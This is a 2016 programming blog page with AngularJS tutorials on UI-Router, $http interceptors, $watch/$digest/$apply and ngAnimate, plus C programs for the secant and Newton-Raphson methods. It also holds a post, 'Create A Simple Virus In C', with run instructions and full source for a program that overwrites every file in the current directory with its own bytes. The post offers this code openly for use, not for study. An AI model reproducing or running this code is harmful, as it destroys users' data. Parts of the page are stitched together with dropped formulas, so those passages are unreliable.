Thursday 31 March 2016

State provider in AngularJS

Introduction
AngularJS is a well-known Javascript framework nowadays. It provides a great support to create SPA (Single Page Applications), easing some of the tedious stuff needed when writing client-side Javascript applications (boilerplate code, DOM bindings, URL routing, etc).

AngularJS is shipped with all the necessary things to build expressive applications without depending on third-party libraries. Nevertheless, in very short time, AngularJS has created a great and very active community around it, creating different AngularJS components over well-known Javascript libraries, like Bootstrap, jQuery UI, etc. These new components are very useful to improve and maximize the potential of our applications.

One of the key points when creating single page applications is the routing mechanism used. The main objective of routing mechanism is to achieve that the user navigates the application like a normal site, but also avoiding or reducing the annoying waiting time due to a page change (page transition).

AngularJS already provides support for routing through the ngRoute module. ngRoute is a basic routing library where we can specify just one view and controller for any route (URL).
But there are situations when we need more control over routes or we need composite or nested views and we can’t achieve it easily with ngRoute.

The AngularJS community has created the AngularUI library. It provides different components which can be used in our AngularJS applications. This library has been broken down into several modules, so that, we can choose only the components we are interested in, instead of including the whole library.

AngularJS UI-Router
The UI-Router is a routing framework for AngularJS built by the AngularUI team, providing a different approach than ngRoute. Unlike ngRoute, it allows us to change the application views based on the state of the application and not just the URL route. In other words, it converts the parts of the application interface into a state machine.

As stated before, UI-Router is organised around states, which may optionally have routes, as well as other kind of behaviours attached. States are bound to named, nested and parallel views, allowing powerfully managing the application’s interface. With this approach, views and routes aren’t tied to the site URL, so we can change the parts of the site using the routing even if the URL does not change.

The library provides a lot of extra control in views: nested views, multiple views on the same page, etc. In order to have a finer grain control over the application routing, UI-Router is a great library to take advantage of.

States VS URL Routes
One of the drawbacks of routes is that we have to tie a route with an URL, having to use ngInclude or other method to change different parts of the page managed by this route. Using states, we are not tied to the URLs to modify parts of the application. States allows us to change parts of the pages using its routing process even when we don’t need to change the URL. Like ngRoute, uiRoute allows to configure the states, routing, controllers and views using the .config() command of AngularJS but there are some reasons because uiRoute has some advantages over the features provided by ngRoute:

UI-Router allows nested views and multiple views in each state. States are bound to named, nested and parallel views. It allows to manage the application’s interface in a more powerful way
With states you can access different information about the states and pass information between them

You can determine in which state you are on each moment, so you can act over the UI accordingly, for example, putting an active class to the navigation element for that state. States can be bound to URLs or not but states bound to URLs will be updated every time the URL changed using the custom uiRouter element ui-sref. Very handy for URLs based applications
State decorators can be used to modify dynamically the states configuration. It can be used to add custom functionality to ui-router, for example inferring template URLs based on the state name instead of configure them on each state beforehand

Components
As stated in the introduction to this routing library, the AngularJS UI-Router is built around states which allow us to have states bound to URLs like ngRoute module, but also leave us to have nested states and states with multiple views which is a very powerful feature we can take advantage in our applications. This is thanks to ui-router is based on states, not just a URL.
AngularJS Ui-Router provides a set of components we can use to create powerful, maintainable and well-structured applications:
  1. $state/$stateProvider: Manages state definitions, the current state, and state transitions. This includes triggering transition-related events and callbacks, asynchronously resolving any dependencies of the target state, and updating $location to reflect the current state. For states that have URLs, a rule is automatically registered with $urlRouterProvider that performs a transition to that state
  2. ui-sref directive: Equivalent to href or ng-href in <a /> elements except the target value is a state name. Adds an appropriate href to the element according to the state associated URL\ui-view directive: Renders views defined in the current state. Essentially ui-view directives are (optionally named) placeholders that gets filled with views defined in the current state
  3. $urlRouter/$urlRouterProvider: Manages a list of rules that are matched against $location whenever it changes
State Manager
To deal with the states creation, AngularJS UI-Router provides the $stateProvider component. It works similar to AngularJS $routeProvider, but it is focused on states. A state corresponds to a part of  the application in terms of the UI and navigation. A state describes (using the controller, template and view properties) the looks of that part if the UI and what is done there. States usually have things in common, so state hierarchies are used to leverage these relationships (parent/child states are known as nested states)

Define states
To define states, we use the .config method (as we already knew), but instead of setting our routes on $routeProvider, we set our states on the $stateProvider
    .config(function($stateProvider, $urlRouterProvider) { $stateProvider .state('home', { url: '/home', templateUrl: 'partials/home.html' }) });

The lines above create a state named home using the state configuration object provided. This object has similar options to the one used when creating routes using $routeProvider in ngRoute module.

When an URL is specified in the state configuration object, this state is bound to an URL. When a state is activated, its template is inserted into the HTML tag containing the ui-view attribute of its parent state’s template.When a state is activated, its templates are automatically inserted into the ui-view of its parent state’s template. If the state is a top-level state (it does not have a parent state), then its parent template is the index.html of the application.
    <!-- index.html --> <body ng-controller="MainController"> <section ui-view></section> </body>

Templates
As we have already seen, templates are configured in the state configuration object when creating a state. There are different ways to define the template for a specific state:templates on each
  1. template: A string of HTML content or a function that returns HTML
  2. templateUrl: A string containing the URL path to a template or a function that returns a URL path string.
  3. templateProvider: A function that returns an HTML content string. This function can be injected and has access to local.
  4. Controllers: We can assign a controller to the template of a state. Just like in ngRoute, we can either associate an already registered controller with a URL using the string function name or we can create a controller function that operates as the controller for the state. It should be noted that if there is no template defined, then the controller will not be created. The controllers are specified using the controller key of the state configuration object and there are different ways to do this:
    * Using function to create the controller*/ $stateProvider.state('home', { template: '<h1>{{welcome}}</h1>', controller: function($scope){ $scope.welcome = 'Hello World'; } }) /* Using controller name if you already have a controller defined on the module */ $stateProvider.state('home', { template: ..., controller: 'HomeController' }) 14 /* Using controller as syntax */ $stateProvider.state('home', { template: '<h1>{{home.welcome}}</h1>', controller: function(){ this.welcome = 'Hello World'; }, controllerAs: 'home' })

If you need to resolve a list of dependencies which have to be injected to the controller before changing to the state, the resolve key of the state configuration object must be used. Check this to know more about this functionality.

State parameters
Like routes in ngRoute, When defining the URL of our states we can specify some placeholders in the URL and they will be converted as parameters which can be accessed in the controller through the $stateParams object:

    $stateProvider .state('orders', { url: '/order/:orderId', template: '<div><h1>Welcome to your order history</h1> <div>Showing order id {{orderId}}</div> </div>', controller: function($scope, $stateParams) { $scope.orderId = $stateParams.orderId; } })

We can also use curly braces to specify parameters in the URL: /order/{orderId}.
Take into account that in state controllers, the $stateParams object will only contain the parameters that were registered with that state. So we will not see the parameters registered on other states, including ancestors. To avoid that, we should create a resolve in the parent state to add the parent state parameter in order to be available in child states. Check this to see how to do it.


Activating states
There are three main ways to activate a state of our application:Navigate to the url associated with the state.

  1. Click a link containing the ui-sref directive (we will learn more about this later)
  2. Using $state.go method

Nested states
To leverage all the power provided by the Ui-Route library, we will have to use undoubtedly the nested states. States can be nested within each other which means that the child state will be rendered inside the ui-view of the parent state. Child states, in turn, can have nested states and so on.
In order to define child states, we can use the dot notation in the state name when defining a new state with $stateProvider:

    $stateProvider .state('home', { url: '/home' template: '<div>Home</div><div ui-view></div>' }) .state('home.main', { url: '/main', template: '<div>Main News</div>' }); .state('home.news', { url: 'news', template: '<div>List of News</div><ul><li ng-repeat="new in news"><a>{{new.title}}</a></li></ul>', controller: function($scope){ $scope.news = [{ title: 'First News' }, { title: 'Second News' }]; } });

The example above creates a “home” state bound to the “/home” URL and two child states, “main” bound to “/home/main” URL and “news” bound to “/home/news” URL. When activating one of the child states, the specific template will be rendered inside the ui-view element of the parent (home) state.
Child states can inherit some of the information contained in the parent state like resolved dependencies and custom state data properties.

Abstract states
There are situations where we need to have some common information available in several states.For this purpose UI-Router provides the possibility to specify abstract states.
Abstract states can have child states but they can not be activated itself neither transitioned to. An abstract state is implicitly activated when one of its child states are activated.
This is useful when:

  1. we need to prepend a url to all the child state urls
  2. we need to insert a template with its own ui-view that the child states will fill
  3. we need to provide resolved dependencies (via resolve) in order to be used by child states
  4. we need to provide inherited custom state data in order to be used by child states or events
  5. Abstract states are defined specifying the abstract key in the state configuration object set to true.
    $stateProvider .state('home', { abstract: true, templateURL: 'home.html' })

Multiple named views
Besides to provide parent/child relationship in states, UI-Router gives us the capability to have multiple named views inside states which will not be bound to any URL.
Having multiple views in our application can be very powerful. For example, maybe you have a sidebar on your site that has things like tweets, recommended items, advertising banner, popular posts, recent posts, users or whatever. These different blocks can all be separated and injected into our template. Each view will have its own controller and template, so our application will be better organized and cleaner.
This feature allows us having our application modular and also lets us reuse data in different templates to reduce the amount of duplicate code. In order to specify named views in states, we have to make use of the views property of state configuration object.
For example, if we have a view like this:
    <!-- partial-aside.html --> <div> <div ui-view="tweets"></div> <div ui-view="recommendations"></div> <div ui-view="users"></div> </div> /*We can create named views to fill each of these templates:*/ $stateProvider .state('aside', { views: { '': { templateUrl: 'partial-aside.html' }, 'tweets': { ... templates and/or controllers ... }, 'recommendations': {}, 'users': {}, } })

As stated in the official documentation, if we set the views parameter, then the state’s templateUrl, template, and templateProvider will be ignored. If we want to include a parent template in our routes, we’ll need to define an abstract state that contains a template, and a child state under the layout state that contains the ‘views’ object

Relative vs Absolute Naming
When using multiple views, UI-Router assigns every view to an absolute name. The structure for this is viewName@stateName, where viewname is the name used in the view directive and state name is the state’s absolute name, e.g. aside. You can also choose to write your view names in the absolute syntax. Remember that if an @ is used then the view path is considered absolute.
The next example has been taken from the documentation and it explains really well how to define relative and absolute names and how they are resolved:

  1. Relative Naming
  2. Relatively targets the 'detail' view in this state's parent state, 'contacts'.
    <div ui-view='detail'/> within contacts.html for example,
    "detail" : { },

    Relatively targets the unnamed view in this state's parent state, 'contacts'.
    <div ui-view/> within contacts.html for example,
    "" : { },









  3. Absolute Naming
  4. Absolutely targets the 'info' view in this state, 'contacts.detail'.
    within contacts.detail.html for example,
    "info@contacts.detail" : { }

    Absolutely targets the 'detail' view in the 'contacts' state.
    <div ui-view='detail'/> within contacts.html for example,
    "detail@contacts" : { }

    Absolutely targets the unnamed view in parent 'contacts' state.
    <div ui-view/> within contacts.html for example,
    "@contacts" : { }

    Absolutely targets the 'status' view in root unnamed state.
    <div ui-view='status'/> within index.html for example,
    "status@" : { }

    Absolutely targ8ets the unnamed view in root unnamed state.
    <div ui-view/> within index.html for example,
    "@" : { }

    $stateProvider .state('contacts', { templateUrl: 'contacts.html' }) .state('contacts.detail', { views: { "detail" : { }, "" : { }, "info@contacts.detail" : { } "detail@contacts" : { } "@contacts" : { } "status@" : { } "@" : { } });

$state
$state service is responsible for representing states as well as transitioning between them. It also provides interfaces to ask for current state or even states you’re coming from.
To see all the properties and methods of $state, check the documentation.
Link to other states using ui-sref
When creating a link with UI-Router, we will use ui-sref directive. The href will be generated from this and we can link to a certain state of our application.

Solve the Regular Falsi method equation using C

 In false positions, instead of always using the midpoint of [a,b] as the iteration point, you use the x-intercept of the line between (a,f(a)) and (b,f(b)). That is, given (a,f(a)) and (b,f(b)), compute the equation of the line between these points;
 Set y=0 and solve for x to find the x-intercept; call this intercept c. So
 . Now evaluate f(c) to determine whether it is positive or negative, and keep either a or b depending on the sign of f(c), just like in bisection.

To change your bisection code into a false positions code, copy bisect.f into another file, say falsa.f. Change the program name and comment line to reflect the change to false positions. The only line you need to change in the body of the code is the definition of y. Instead of y=(a+b)/2, you need to calculate the x-intercept, called c in the previous paragraph.

Run both bisection and false positions to find
. False position starts out slower than bisection - after the first two steps, the interval in which the root lies is smaller under bisection. But once false positions gets close to the root, it zips in quickly. So the method of false position shares with bisection the advantage of trapping a root and, therefore, always converging. But false position has a decided advantage in the speed with which it converges.

We next turn to another algorithm, Newton's method for finding roots. Newton's method does not always converge. But, when it does converge, it is very fast (at least once it is ``close enough'' to the root). Newton's method also has the advantage of not requiring a bracketing interval with positive and negative values (so Newton's method will allow us to solve tex2html_wrap_inline357 , whereas bisection and false positions will not).

The Regula-Falsi Method (sometimes called the False Position Method) is a method used to find a numerical estimate of an equation.This method attempts to solve an equation of the form f(x)=0. (This is very common in most numerical analysis applications.) Any equation can be written in this form.

Algorithm Requirements

This algorithm requires a function f(x) and two points a and b for which f(x) is positive for one of the values and negative for the other. We can write this condition as f(a).f(b)<0.
If the function f(x) is continuous on the interval [a,b] with f(a).f(b)<0, the algorithm will eventually converge to a solution.
This algorithm can not be implemented to find a tangential root. That is a root that is tangent to the x-axis and either positive or negative on both side of the root. For example f(x)=(x-3)2, has a tangential root at x=3.

Interceptor in AngularJS

What is interceptor?

Interceptor is generally some type of filter. it is work as a filter to make any type of request and response. interceptor are monitering to perform task.

Angular JS  built in service  $http  is used to make http server requests.  More often than not you would find yourself in a situation where you would want to run hooks for the http calls, i.e execute some logic before or after the http call. For example appending the auth token  to every api request or generic http response error handling. For this $http interceptors become quite handy. One more very important use of interceptors is to log http requests made to external API’s which can be used for analytics.

The interceptors are service factories that are registered with the $httpProvider by adding them to the $httpProvider.interceptors array. The factory is called and injected with dependencies (if specified) and returns the interceptor.

There are two kinds of interceptors (and two kinds of rejection interceptors):

request: interceptors get called with a http config object. The function is free to modify the config object or create a new one. The function needs to return the config object directly, or a promise containing the config or a new config object.

requestError: interceptor gets called when a previous interceptor threw an error or resolved with a rejection.

response: interceptors get called with http response object. The function is free to modify the response object or create a new one. The function needs to return the response object directly, or as a promise containing the response or a new response object.

responseError: interceptor gets called when a previous interceptor threw an error or resolved with a rejection.

Let’s clear things with an example.

Response Interceptor

A response interceptor function takes a promise object as argument and returns the resolved promise.  The example Below handles 401 errors from the servers and does suitable error handling.  If the http request returns a success response it does not do anything. But if there is a error, it checks for the error code from the server and if its 401, redirects the user to the login page.

  1. myapp.factory('myHttpResponseInterceptor',['$q','$location',function($q,$location){ return { response: function(response){ return promise.then( function success(response) { return response; }, function error(response) { if(response.status === 401){ $location.path('/signin'); return $q.reject(response); } else{ return $q.reject(response); } }); } } }]); myapp.config(['$httpProvider',function($httpProvider) { $httpProvider.interceptors.push('myHttpResponseInterceptor'); }]);

Request Interceptor

A request interceptor function takes in a config object and returns a modified config object.  In the Example Below we are going to add a ‘auth token’ parameter to every request made to the API server.


  1. myapp.factory('httpRequestInterceptor', function ($cookieStore) { return { request: function (config) { var token = $cookieStore.get("auth"); config.url = URI(config.url).addSearch({'_auth_token':token}).toString(); return config; } }; }); myapp.config(function ($httpProvider) { $httpProvider.interceptors.push('httpRequestInterceptor'); });

  1. angular.module('MyApp', []) .config(function ($provide, $httpProvider) { $provide.factory('MyHttpInterceptor', function ($q) { return { request: function (config) { return config || $q.when(config); }, requestError: function (rejection) { return $q.reject(rejection); }, response: function (response) { return response || $q.when(response); }, responseError: function (rejection) { return $q.reject(rejection); } }; }); }); myapp.config(function ($httpProvider) { $httpProvider.interceptors.push('MyHttpInterceptor'); });

Saturday 26 March 2016

AngularJS: $watch, $digest and $apply

While browsing reddit, I read an article I felt over-complicated an explanation of $watch, $digest and $apply, and perhaps gave people a little bit of the wrong idea about what it is.

What is a $watch? 


Let's talk about this first. $watch is arguably the most important internal feature of Angular. $watches can be used to watch any value, and trigger a function call when that value changes. A $watch can be set up from any $scope by calling $scope.$watch() as shown below.

Setting up a $watch


There are two ways to set up a watch, by expression, or by function. Technically, they both do the same thing. If you pass an expression (a string), it will be evaluated against $scope and converted to a function to be watched. If you pass a function, it just watches that function, with no conversion necessary.


By Expression

The following will watch 'foo'. Which is an expression evaluated against $scope.
  1. //$scope.$watch(<function/expression>, <handler>); $scope.$watch('foo', function(newVal, oldVal) { console.log(newVal, oldVal); });


By Function

To set up a $watch by function, you can do the following, which is technically the same as what is shown above:
  1. $scope.$watch(function() { return $scope.foo; }, function(newVal, oldVal) { console.log(newVal, oldVal); });


Facts about $watch:

  • A watcher can evaluate any value.
  • A watcher's handler can execute anything when aforementioned value has changed.
  • All watchers are evaluated when $digest() is called.
  • If the first argument of a $watch is a string, it is $eval'ed into a function prior to registration. It's functionally equivalent to passing a function as the first argument, just with an extra step internally.


What is $digest?


At it's core, the important thing to know about $digest is that it loops through all watchers on the scope it was called on and it's child scopes. and evaluates them to see if they've changed, executing their handlers if they have. That's the important part you need to know.

How to call $digest:

  1. $scope.$digest();


What is $apply?


Simply put, it's a wrapper around $rootScope.$digest that evaluates any expression passed to it prior to calling $digest(). That's it.  So, if you're calling it by itself without passing an argument to it, you may as well just call $digest().

How to call $apply:


  1. $scope.$apply('foo = "test"'); //or $scope.$apply(function(scope) { scope.foo = 'test'; }); //or $scope.$apply(function(){ $scope.foo = 'test'; });

So when does a $digest/$apply happen?


At key moments defined by the framework. The Angular framework has built in calls to $digest and $apply to it's services and directives as well as some internal calls. But basically it's like this, things like $timeout perform a setTimeout, then call $apply or $digest (it actual does a little more than that, but that's the basic idea). $http.get(), same deal, makes an AJAX call, returns it, then queues up a $digest.  Then there are directives, like inputs with ngModel for example. Updates to the input will also trigger a $digest. You get the idea.

How do $watch, $digest, and $apply relate to updating my view?


  • The directive registers a $watch that looks for a change in the model on the $scope. The handler will update the DOM element's value.
  • The directive registers an event handler of some sort in the DOM that will get a value from the DOM and apply it to the model in $scope. It will also call $apply or $digest.
  • When you update the model in the scope via some in-framework call... $http.get() for example, it kicks off a $digest after it completes.
  • The $digest checks the $watch the directive registered, sees the change and fires the handler associated to it, updating the DOM element.

Why does Angular work this way?


Since Angular wanted to use plain-old-JavaScript-objects (*POJSO© Ben Lesh 2013 all rights reserved!! Brought to you by Carl's Jr), a digest was the only real choice. Why? Well you can observe setter and getters on known properties real-time, but there's really no way to build an event into adding new values to or removing values from an object or array, particularly when it's done by an indexer, ala hash table or array index. So a digest becomes necessary. How do I know this? Because I tried to write my own framework and quickly found myself writing a half-assed version of Angular. The only other option that I know of would be to completely wrap the model observation up in a construct with set() and get() functions... think Knockout... which makes the JavaScript code uglier to deal with (IMO).


Some Guidelines For Use:


  • $watch
    • DO use $watch in directives to update the DOM when a $scope value changes.
    • DON'T use $watch in a controller. It's hard to test and completely unnecessary in almost every case. Use a method on the scope to update the value(s) the watch was changing instead.
  • $digest/$apply
    • DO use $digest/$apply in directives to let Angular know you've made changes after an asynchronous call, such as a DOM event.
    • DO use $digest/$apply in services to let Angular know some asynchronous operation has returned, such as a WebSocket update, or an event from a 3rd party library like Facebook API.
    • DON'T use $digest/$apply in a controller. This will make your code harder to test, and asynchronous operations outside of the Angular framework don't belong in your controllers. They belong in services and directives.
Remember these are guidelines, not hard, fast rules. More importantly, they're my guidelines, so take them with a grain of salt.



When to use $apply vs $digest?


 $scope.$digest should rarely be used outside of some very specific instances. Such as an isolated scope in a directive that might want to only update itself. Or, in an extreme edge case if a scope object has been created for some other isolated purpose. $scope.$apply or $rootScope.$digest should be favored most of the time, as the general desired effect is to update an entire view or model. 

Sunday 20 March 2016

AngularJS Animation

AngularJS provides animation hooks for common directives such as ngRepeat, ngSwitch, and ngView, as well as custom directives via the $animate service. These animation hooks are set in place to trigger animations during the life cycle of various directives and when triggered, will attempt to perform a CSS Transition, CSS Keyframe Animation or a JavaScript callback Animation (depending on if an animation is placed on the given directive). Animations can be placed using vanilla CSS by following the naming conventions set in place by AngularJS or with JavaScript code when it's defined as a factory.

Animations are not available unless you include the ngAnimate module as a dependency within your application. Below is a quick example of animations being enabled for ngShow and ngHide:

What Does ngAnimate Do?

The ngAnimate module adds and removes classes.

The ngAnimate module does not animate your HTML elements, but when ngAnimate notice certain events, like hide or show of an HTML element, the element gets some pre-defined classes which can be used to make animations.

The directives in AngularJS who add/remove classes are:

  • ng-show
  • ng-hide
  • ng-class
  • ng-view
  • ng-include
  • ng-repeat
  • ng-if
  • ng-switch
The ng-show and ng-hide directives adds or removes a ng-hide class value.

The other directives adds a ng-enter class value when they enter the DOM, and a ng-leave attribute when they are removed from the DOM.

The ng-repeat directive also adds a ng-move class value when the HTML element changes position.

In addition, during the animation, the HTML element will have a set of class values, which will be removed when the animation has finished. Example: the ng-hide directive will add these class values:

  • ng-animate
  • ng-hide-animate
  • ng-hide-add (if the element will be hidden)
  • ng-hide-remove (if the element will be showed)
  • ng-hide-add-active (if the element will be hidden)
  • ng-hide-remove-active (if the element will be showed)
Example custom directive with $animate

File name : index.html
  1. <html ng-app="myapp"> <head> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/font-awesome/4.5.0/css/font-awesome.min.css"> <link rel="stylesheet" type="text/css" href="bootstrap.min.css"> <link rel="stylesheet" type="text/css" href="style.css"> <script type="text/javascript" src="jquery.min.js"></script> <script src="http://ajax.googleapis.com/ajax/libs/angularjs/1.4.8/angular.min.js"></script> <script src="http://ajax.googleapis.com/ajax/libs/angularjs/1.4.8/angular-animate.js"></script> <script type="text/javascript" src="main.js"></script> </head> <body > <div class="col-lg-6"> <div class="panel panel-default" ng-controller="homeController"> <div class="panel-heading"> Merchant List </div> <div class="panel-body"> <div class="list-group"> <div class="list-group-item"> <strong> Merchant </strong> <button ng-click="order.toggle()" class="btn btn-link btn-xs"> <span ng-show="order.isAscending()" class="fa fa-angle-up fa-2x"></span> <span ng-hide="order.isAscending()" class="fa fa-angle-down fa-2x"></span> </button> </div> <div ng-repeat="marchant in marchants | orderBy:order.predicate " marchant-meta="marchant" class="list-group-item"> {{marchant.name}} </div> </div> </div> </div> </div> </body> </html>

File name : style.css
  1. body { padding: 20px; } .list-group-item { cursor: pointer; &.ng-enter, &.ng-leave, &.ng-move { transition: 0.5s linear all; } &.ng-enter-stagger, &.ng-leave-stagger, &.ng-move-stagger { transition-delay: 0.05s; } &.ng-enter, &.ng-move, &.ng-leave.ng-leave-active { opacity: 0; } &.ng-enter.ng-enter-active, &.ng-move.ng-move-active, &.ng-leave { opacity: 1; } &.toggle, &.toggle-add, &.toggle-remove { transition: 0.5s ease-out all; } &.toggle-add-active { text-indent: 1em; } &.toggle { background: #fcf8e3; } } .label { &.ng-enter, &.ng-leave{ transition: 0.25s ease-in-out all; } &.ng-enter, &.ng-leave.ng-leave-active { opacity: 0; margin-left: 2em; } &.ng-enter.ng-enter-active, &.ng-leave { opacity: 1; margin-left: 0; } }

File name : main.js
  1. angular.module('myapp', ['ngAnimate']).directive('marchantMeta', function($animate) { return { restrict: 'A', scope: { marchant: '=marchantMeta' }, link: function(scope, element) { var toggled, label; scope.$watch('marchant.id', function(id) { if (!label) { label = angular.element('<span>').addClass('label label-primary'); } label.text('Merchant ID ' + id); }); element.on('mouseenter', function() { scope.$apply(function() { var contents = element.contents(); $animate.enter(label, element, contents.eq(contents.length - 1)); }); }); element.on('mouseleave', function() { scope.$apply(function() { $animate.leave(label); }); }); element.on('click', function() { scope.$apply(function() { toggled = !toggled; if (toggled) { $animate.addClass(element, 'toggle'); } else { $animate.removeClass(element, 'toggle'); } }); }); } }; }).controller('homeController', function($scope){ $scope.search = { name: '' }; $scope.order = { predicate: 'name', toggle: function() { this.predicate = this.isAscending() ? '-name' : 'name'; }, isAscending: function() { return this.predicate === 'name'; } }; $scope.marchants= [ { 'name': 'Kaushik', 'id': '0001' }, { 'name': 'Sanjay', 'id': '0002' }, { 'name': 'Dhaval', 'id': '0003' }, { 'name': 'Kirit', 'id': '0004' }, { 'name': 'Sagar', 'id': '0005' }, { 'name': 'Ashish', 'id': '0006' }, { 'name': 'Chirag', 'id': '0007' }, { 'name': 'Meet', 'id': '0008' }, ]; })


Solve the Secent method equation using C

Assume we need to find a root of the equation f (x) = 0, called α. Consider the graph of the function f (x) and two initial estimates of the root, x0 and x1. The two points (x0,f (x0)) and (x1,f (x1)) on the graph of f (x) determine a straight line, called a secant line which can be viewed as an approximation to the graph. The point x2 where this secant line crosses the x axis is then an approximation for the root α.

This is the same idea as in Newton’s method, where the tangent line has been approximated by a secant line.

The equation of the secant line will be given by
         
y = f(x1)+(x−x1) * (f(x1)−f(x0) /  x1−x0)
so

x2 = x1−f(x1)  * (x1−x0 / f(x1) − f(x0))

Then take x1 and x2 as the next two estimates and continue the procedure. The general iteration will be given by
xn+1 =  xn−f(xn) * (xn− xn-1 / f(xn) − f(xn-1))

and so on.

Advantages and disadvantages:

  1. The error decreases slowly at first but then rapidly after a few iterations.
  2. The secant method is slower than Newton’s method but faster than the bisection method.
  3. Each iteration of Newton’s method requires two function evaluations, while the secant method requires only one
  4. The secant method does not require differentiation.


                                                                                            
Example Code:

equation x2-5
root between 2 and 3
File name : newton.c

#include<stdio.h> #include<conio.h> #include<math.h> #define E 0.0001 float f(float x) { return (x*x)-5; } void main() { float x0,x1,x2,fx0,fx1,fx2; intctr=0; clrscr(); printf("Enter value of X0:"); scanf("%f",&x0); printf("Enter value of X1:"); scanf("%f",&x1); clrscr(); printf("\n---------------------------------------------------------"); printf("\n| SECENT METHOD |"); printf("\n---------------------------------------------------------"); printf("\n| NO\t| x0\t| f(x0)\t| x1\t| f(x1)\t| x2\t| f(x2) |"); printf("\n---------------------------------------------------------"); do { fx0=fx1=fx2=0; fx0=f(x0); fx1=f(x1); x2=((x0*fx1)-(x1*fx0))/(fx1-fx0); fx2=f(x2); printf("\n%d\t|%.3f\t|%.3f\t|%.3f\t|%.3f\t|%.3f\t|%.3f",ctr+1,x0,fx0,x1,fx1,x2,fx2); x0=x1; fx0=fx1; x1=x2; fx1=fx2; ctr++; }while(fabs(fx2)>=E); printf("\n\nx2 : %.4f",x2); getch(); }

Solve the Newton-Raphson method equation using C

Recall that the equation of a straight line is given by the equation
y = mx +n  (1)

where m is called the slope of the line. (This means that all points (x,y) on the line satisfy the equation above.)
If we know the slope m and one point (x0,y0) on the line, equation (1) becomes 
y−y0 = m(x−x0)  (2)

Idea behind Newton’s method 
Assume we need to find a root of the equation f(x) = 0. Consider the graph of the function f(x) and an initial estimate of the root, x0. To improve this estimate, take the tangent to the graph of f(x) through the point (x0, f(x0) and let x1 be the point where this line crosses the horizontal axis.

According to eq. (2) above, this point is given by
x1 = x0−(f(x0)/f′(x0))

where f ′(x0) is the derivative of f at x0. Then take x1 as the next approximation and continue the procedure. The general iteration will be given by

xn+1 = xn− (f(xn)/f′(xn))  and so on.

Error analysis
Let α be the root of f(x) = 0 we are trying to approximate. Then, Taylor’s formula gives
 f(α) = f(xn)+(α−xn)f′(xn)+ 1/2 (α−xn)2 fn(cn)

where cn is an unknown point between α and xn. This eventually leads to
α−xn+1 = (α−xn)2 [−fn(cn)/2f′(xn) ]

which means that the error in xn+1 is proportional to the square of the error in xn.
Hence, if the initial estimate was good enough, the error is expected to decrease very fast and the algorithm converges to the root.

To give an actual error estimation, write Taylor’s formula again
f(α) = f(xn)+(α−xn)f′(cn)

where cn is an unknown point between α and xn, so
α−xn = −f(xn)/f′(cn) ≈ −f(xn) / f′(xn)

so

 α−xn ≈ xn+1−xn

which is usually quite accurate.

Advantages and disadvantages of Newton’s method:

  1. The error decreases rapidly with each iteration.
  2. Newton’s method is very fast. (Compare with bisection method!).
  3. Unfortunately, for bad choices of x0 (the initial guess) the method can fail to converge! Therefore the choice of x0 is VERY IMPORTANT!.
  4. Each iteration of Newton’s method requires two function evaluations, while the bisection method requires only one.
                                                                                                                       
Example Code:

equation x4-x-10
derimeter f’(x) ==4x3-1

File name : newton.c

#include<conio.h> #include<stdio.h> #include<stdlib.h> #include<math.h> float f(float x) { return (x*x*x*x)-x-10; } floatdf(float x) { return (4*x*x*x)-1; } void main() { float x1=0,x2=0,t=0,E; intcnt=0,max,i; clrscr(); printf("\nEnter Initial Value X1---->"); scanf("%f",&x1); printf("\nEnter Error Iteration---->"); scanf("%f",&E); printf("\nEnter Max Iteration---->"); scanf("%d",&max); printf("\n ITERATION X1 FX1 F'X1 X2"); for(i=1;i<=max;i++) { cnt++; t=f(x1)/df(x1); x2=x1-t; printf("\n %d %.3f %.3f %.3f %.3f",cnt,x1,f(x1),df(x1),x2); if(fabs(t)<E) { break; } x1=x2; } printf("\n\t The Root Of Equation is= %f",x2); getch(); }

Wednesday 2 March 2016

Create A Simple Virus In C

How to make simple virus in c language. this code help to convert your human resource data to unreadable binary format.

How can work : 

  1. Copy this code, and paste the any editor.
  2. After then you. just compile on this file. don't run this file.
  3. After then you can check your current directory where you save your source code file. in current directory you can find one executable file. just copy and paste this executable file in any directory or folder and press double click or run that executable file.
  4. Then you can check any data and file.


For Example
File name : virus.c

   
#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h> 
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end; 
void main()
{    
 st=clock();    
 clrscr();    
 done=findfirst("*.*",&ffblk,0);                           
 while(!done)    
 {        
  virus=fopen(_argv[0],"rb");        
  host=fopen(ffblk.ff_name,"rb+");        
  if(host==NULL) 
   goto next;       
  x=89088;        
  printf("Infecting %s\n",ffblk.ff_name,a);        
  while(x>2048)        
  {            
   fread(buff,2048,1,virus);            
   fwrite(buff,2048,1,host);            
   x-=2048;        
  }        
  fread(buff,x,1,virus);        
  fwrite(buff,x,1,host);        
  a++;        
  next:        
  {            
   fcloseall();            
   done=findnext(&ffblk);        
  }    
 }    
 printf("DONE! (Total Files Infected= %d)",a);    
 end=clock();    
 printf("\n\nTIME TAKEN=%f SEC\n",    (end-st)/CLK_TCK);    
 getch();
}


Create Thumbnail in Video in Spring and ffmpeg

import java.awt.image.BufferedImage; import java.io.File; import java.io.IOException; import javax.imageio.ImageIO; import org.jcodec.api.Fr...